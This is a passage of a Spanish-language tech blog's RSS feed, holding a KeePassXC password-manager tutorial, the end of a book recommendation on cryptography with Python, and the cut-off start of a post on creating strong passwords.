window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conocimientos previos recomendados:&lt;/strong&gt; Matemáticas básicas&lt;br&gt;&#xA;&lt;strong&gt;Recomendado para leerlo:&lt;/strong&gt; 6/10&lt;br&gt;&#xA;&lt;strong&gt;Idiomas:&lt;/strong&gt; Inglés&lt;/p&gt;&#xA;&lt;p&gt;Entra en mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;inmersión en Python&lt;/a&gt;&#xA; para leer sobre otro libro genial para aprender Python desde cero.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;¿A quién no han intentado convencer de invertir en un marketing multi nivel de Bitcoin? A mi sí, pero ojalá a ti nunca te pase. Gracias a Bitcoin, la criptografía está en boca de todos últimamente, sobre todo en el discurso de vendedores sin escrúpulos, pero la criptografía no es reciente, tiene siglos utilizándose; la programación y el código solo la volvieron mucho más rápida y eficiente. La primera vez que leí sobre criptografía fue en la novela Criptonomicón, donde ya se barajaba la idea de las criptomonedas desde mucho antes de la aparición de Bitcoin. Hoy vengo a hablarte de Cracking Codes with Python, &lt;strong&gt;un libro que usa la criptografía para explicar Python&lt;/strong&gt;. Este libro te enseña Python básico desde cero mientras das un repaso de la criptografía a través de la historia, con todo y Alan Turing incluido.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Contraseñas seguras, tutorial de keepassxc</title>
      <link>https://coffeebytes.dev/es/linux/contrasenas-seguras-tutorial-de-keepassxc/</link>
      <pubDate>Wed, 15 Jul 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/contrasenas-seguras-tutorial-de-keepassxc/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En la entrada anterior hablé acerca de algunas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/como-crear-una-contrasena-segura/&#34;&gt;buenas practicas usando contraseñas&lt;/a&gt;&#xA;. Uno de las recomendaciones era usar una contraseña diferente para cada sitio web. Sin embargo recordar muchas contraseñas es complicado y guardar las contraseñas en texto plano es algo impensable si valoramos un poco nuestra seguridad informática. Hay bastante gestores de contraseñas disponibles, esta entrada es un tutorial de keepassxc, un gestor de contraseñas &lt;strong&gt;gratuito, open source y súper seguro.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-no-usar-el-gestor-de-contrasenas-de-firefox-o-chrome&#34;&gt;¿Por qué no usar el gestor de contraseñas de firefox o chrome?&lt;/h2&gt;&#xA;&lt;p&gt;Yo soy de los que creen que &lt;strong&gt;mientras menos información sensible tenga un tercero mucho mejor&lt;/strong&gt;. Las páginas o navegadores que que ofrecen servicios de administración de contraseñas son un botín bastante atractivo para personas con malas intenciones, y muchas veces no sabemos si la persona que está detrás de los servidores es lo suficientemente capaz de mantener un sistema seguro.&lt;/p&gt;&#xA;&lt;p&gt;¿Quién no ha oído de filtraciones masivas de datos de usuarios incluso en las empresas más grandes? Por esta razón yo prefiero mantener mis contraseñas dentro de mi computadora y usando un programa cuyo código fuente esté a la vista de cualquiera que quiera examinarlo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;keepassxc&#34;&gt;keepassxc&lt;/h2&gt;&#xA;&lt;p&gt;keepassxc es el programa que yo prefiero para gestionar contraseñas. El código se encuentra en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://keepassxc.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;la página de keepassxc&lt;/a&gt;&#xA; puedes descargarlo o compilarlo directo desde sus repositorios.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalando-keepassxc&#34;&gt;Instalando keepassxc&lt;/h2&gt;&#xA;&lt;p&gt;Para instalar keepassxc podemos hacerlo desde la linea de comandos siempre y cuando se encuentre en los repositorios de tu distribución de GNU/Linux&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install keepassxc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si la instalación se llevó a cabo exitosamente podremos ejecutarlo desde su icono o desde la terminal.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;keepassxc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al abrir el programa nos mostrará la leyenda de &amp;ldquo;Bienvenido&amp;rdquo;. Una vez en este punto crearemos una nueva base de datos, para hacerlo hacemos click en el menú Base de datos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-pantalla-inicio.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-pantalla-inicio.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla de incio de keepassxc&#34; width=&#34;880&#34; height=&#34;551&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Decide un nombre y una descripción para la base de datos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-crear-base-de-datos.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-crear-base-de-datos.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Crear base de datos en keepassxc&#34; width=&#34;881&#34; height=&#34;773&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A continuación nos pedirá el tiempo de descifrado. Si no sabes para que sirve esto déjalo como esta.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-tiempo-descifrado.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-tiempo-descifrado.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tiempo de descifrado en keepassxc&#34; width=&#34;878&#34; height=&#34;691&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ahora el programa nos pedirá ingresar una contraseña maestra y confirmarla. &lt;strong&gt;Esta es la única contraseña que necesitarás recordar&lt;/strong&gt; y también es la que necesitarás para acceder al resto de las contraseñas. Por esta razón debes &lt;strong&gt;asegurarte de que la contraseña sea lo suficientemente fuerte y también que seas capaz de recordarla&lt;/strong&gt;, de otra forma el resto de tus contraseñas serán inaccesibles para ti.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-contrasena.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-contrasena.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Creación de una contraseña en keepassxc&#34; width=&#34;879&#34; height=&#34;680&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Una vez que hayamos hecho eso se nos creará una carpeta del lado izquierdo. Podemos crear otras carpetas para organizar nuestras contraseñas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;generar-una-contrasena-en-keepassxc&#34;&gt;Generar una contraseña en keepassxc&lt;/h2&gt;&#xA;&lt;p&gt;Para crear una contraseña nueva hacemos click en el icono que contiene el símbolo de suma.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-carpeta.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-carpeta.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Crear un registro en keepassxc&#34; width=&#34;879&#34; height=&#34;242&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esto nos arrojará un formulario donde podemos especificar el título, el nombre de usuario, la contraseña, la url del sitio web, una fecha de caducidad opcional y una nota, también opcional.&lt;/p&gt;&#xA;&lt;p&gt;Presiona el dado para que keepassxc genere una nueva contraseña.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/formulario-de-contrasena-keepassxc.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/formulario-de-contrasena-keepassxc.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Crear contraseña en keepassxc&#34; width=&#34;881&#34; height=&#34;528&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Podemos elegir si crear una contraseña nosotros mismos o pedirle al programa que la genere automáticamennte. Y podemos elegir dos modalidades:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contraseña: Basada en caracteres aleatorios&lt;/li&gt;&#xA;&lt;li&gt;Frase de contraseña: Basada en palabras aleatorias&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/modos-creacion-contrasena-keepassxc.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/modos-creacion-contrasena-keepassxc.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tipos creación de contraseña en keepassxc&#34; width=&#34;869&#34; height=&#34;693&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En ambos casos podremos elegir la longitud de la contraseña, si queremos que use mayúsculas, minúsculas o caracteres especiales, así como asegurarnos de que la contraseña incluya caracteres de todos los grupos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;descargar-icono-con-keepassxc&#34;&gt;Descargar ícono con keepassxc&lt;/h2&gt;&#xA;&lt;p&gt;También podemos pedirle a keepassxc que descargue el favicon del sitio web, solo para que se vea bonito en la lista de contraseñas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-descargar-icono.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-descargar-icono.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Descargar ícono en keepassxc&#34; width=&#34;774&#34; height=&#34;161&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Una vez puestas las opciones le daremos click a Aceptar. Si presionamos el icono con la imagen del ojo nos mostrará la contraseña creada.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/contrasena-guardada-keepassxc.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/contrasena-guardada-keepassxc.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;contraseña creada y guardada&#34; width=&#34;882&#34; height=&#34;181&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El programa guardará los registros y los mostrará en su panel derecho. Si le damos click derecho en la entrada que acabamos de crear podemos copiar el nombre de usuario o la contraseña al portapapeles para usarlo a nuestro gusto. &lt;strong&gt;Por razones de seguridad el programa se encarga de que la contraseña que pasemos al portapapeles solamente esté disponible por un corto periodo de tiempo.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-guarda-keepassxc-las-contrasenas&#34;&gt;¿Cómo guarda Keepassxc las contraseñas?&lt;/h2&gt;&#xA;&lt;p&gt;Keepassxc guarda todas nuestras contraseñas cifradas en un archivo con extension &lt;em&gt;.kdbx&lt;/em&gt;. Puedes intentar leer el contenido del archivo usando el comando &lt;em&gt;cat&lt;/em&gt; y te darás cuenta de que &lt;strong&gt;las contraseñas no están almacenadas en texto plano&lt;/strong&gt;, sino cifradas, por lo que solo verás caracteres sin sentido alguno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat archivo.kdbx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;�.�ٞ��;��5 E����x���&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;w?l&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;K��6�d���KУ��&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;R�NR&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;4C����ݠ���&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                              V�P����4+����ׁ˪q��^��H�ǉAhR�Yc��Bߒ_Z���&amp;lt;���C�&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;��W�&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;ސ�o�ӎ �*쑜�����i9.�e���&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;�9&#x9;uܼJ+��v�~RLf����y�8�I&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;~E&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;�M��bÄ�h@&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2��|#$�8�D%|�;~j:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;��0�x��K�UϥÈ&#x9;�mL~`i5���p�k�᭾Ԉ��c��.�׏�k���oE&amp;#39;&lt;/span&gt;i�&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;o�����v5�⚂��v�p8&amp;#34;&lt;/span&gt;�n��&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;so�.�gȣև�H��V&amp;amp;�&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;g.���0���_w:�s�@�&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3�&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;�o���|���7&amp;amp;_f=#W��ۡK=I&amp;lt;]}��j@]&lt;/span&gt;$&lt;span style=&#34;color:#5af78e&#34;&gt;��hMX�oʭr���f�׹��&#x9;�Z���O,�}�&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;��+�Q{�hs�����?�&lt;/span&gt;$&lt;span style=&#34;color:#5af78e&#34;&gt;�ҥUZ)���w!���v�:ݜ9A�ò����уQ�x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El archivo que contiene tus contraseñas puedes respaldarlo en una usb o incluso subirlo a la web. &lt;strong&gt;Si alguien quiere ver tus contraseñas necesitará la contraseña maestra que creaste&lt;/strong&gt; para así como el archivo con extensión &lt;em&gt;kdbx&lt;/em&gt;, ambos.&lt;/p&gt;&#xA;&lt;p&gt;Es importante recordarte de nuevo que este archivo almacenará tus contraseñas, por lo que &lt;strong&gt;si lo pierdes, borras u olvidas la contraseña maestra habrás perdido el acceso a todas tus cuentas.&lt;/strong&gt; Es muy importante tener siempre un respaldo en un lugar seguro.&lt;/p&gt;&#xA;&lt;p&gt;Ahora podrás tener cualquier cantidad de contraseñas almacenadas y, si elegiste crearlas aleatoriamente, cada una de ellas será distinta del resto y además serán completamente seguras ante ataques de fuerza bruta, mientras tanto tú solo necesitarás mantener memorizada una sola contraseña.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En la entrada anterior hablé acerca de algunas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/como-crear-una-contrasena-segura/&#34;&gt;buenas practicas usando contraseñas&lt;/a&gt;&#xA;. Uno de las recomendaciones era usar una contraseña diferente para cada sitio web. Sin embargo recordar muchas contraseñas es complicado y guardar las contraseñas en texto plano es algo impensable si valoramos un poco nuestra seguridad informática. Hay bastante gestores de contraseñas disponibles, esta entrada es un tutorial de keepassxc, un gestor de contraseñas &lt;strong&gt;gratuito, open source y súper seguro.&lt;/strong&gt;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo crear una contraseña segura?</title>
      <link>https://coffeebytes.dev/es/linux/como-crear-una-contrasena-segura/</link>
      <pubDate>Thu, 02 Jul 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/como-crear-una-contrasena-segura/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Uno de mis amigos trabajaba como auditor de seguridad informática en una empresa cuyo nombre no mencionaré por razones obvias. Eventualmente nuestra conversión llegó al tema de su día a día en el trabajo, le pregunté acerca de sus funciones en la empresa y me respondió que su trabajo consistía principalmente en regañar y educar a los empleados sobre lo débiles que eran sus contraseñas. Lo crítico de esto es que muchas de esos empleados eran los encargados de crear los sistemas informáticos de los clientes para los que trabajaban. Sí, profesionales en TI que son descuidados con sus contraseñas, uno pensaría que es imposible, pero es mucho más común de lo que se cree. Muy pocas personas saben crear una contraseña segura.&lt;/p&gt;&#xA;&lt;p&gt;Por la razón anterior he decidido compartir un poco sobre lo que he leído al respecto en blogs, libros y videos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-contrasenas-debiles-son-riesgosas&#34;&gt;Las contraseñas débiles son riesgosas&lt;/h2&gt;&#xA;&lt;p&gt;Dicen que una cadena es tan fuerte como su eslabón más débil. Las contraseñas son en muchos casos el eslabón más débil. Un sistema informático puede carecer de vulnerabilidades y tener los últimos parches de seguridad, pero de nada sirve si todo eso está resguardado por una débil contraseña. Y no, no estoy hablando de abandonar contraseñas del tipo &amp;ldquo;admin123&amp;rdquo; o &amp;ldquo;firulais&amp;rdquo; en favor de sus versiones modificadas: &amp;ldquo;4dm1n123&amp;rdquo; o &amp;ldquo;f1rul415&amp;rdquo;. Hablo de que las contraseñas deben de ser más un muro para los atacantes que una segunda entrada a tus sistemas.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-es-una-contrasena-segura&#34;&gt;¿Cómo es una contraseña segura?&lt;/h2&gt;&#xA;&lt;p&gt;¿Qué características debe de tener una contraseña para que sea segura? Pues una contraseña segura tiene que reunir varias características para hacerle la vida difícil a los cyber criminales. Te dejo aquí mis consejos para crear una buena contraseña que sea segura.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crea-una-contrasena-larga&#34;&gt;Crea una contraseña larga&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mientras más corta sea una contraseña más fácil es obtenerla por fuerza bruta.&lt;/strong&gt; Considerando la capacidad actual de procesamiento de las computadoras, las contraseñas con menos de 8 caracteres son prácticamente una invitación a que alguien ingrese en nuestras cuentas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;**** &lt;span style=&#34;color:#78787e&#34;&gt;# Pésimo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;******** &lt;span style=&#34;color:#78787e&#34;&gt;# Mal&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;******************** &lt;span style=&#34;color:#78787e&#34;&gt;# Bien &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;manten-tus-contrasenas-ajenas-a-tu-informacion-personal&#34;&gt;Mantén tus contraseñas ajenas a tu información personal&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Es bastante tentador crear una contraseña fácil de recordar utilizando el nombre de tu pareja, tu cumpleaños o el de tus seres queridos, tu dirección, tu número de celular o el nombre de tu mascota, pero es muy inseguro; cualquier persona puede tener acceso a esa información. Basta con un vistazo rápido a tus redes sociales o una plática con alguno de tus conocidos para conseguir toda esa información.&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;Pero, lo que sucede es que mi contraseña es una mezcla de esas cosas&amp;rdquo;, no, aún así, no es suficiente. Hay programas como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/magnumripper/JohnTheRipper&#34; rel=&#34;noopener&#34; 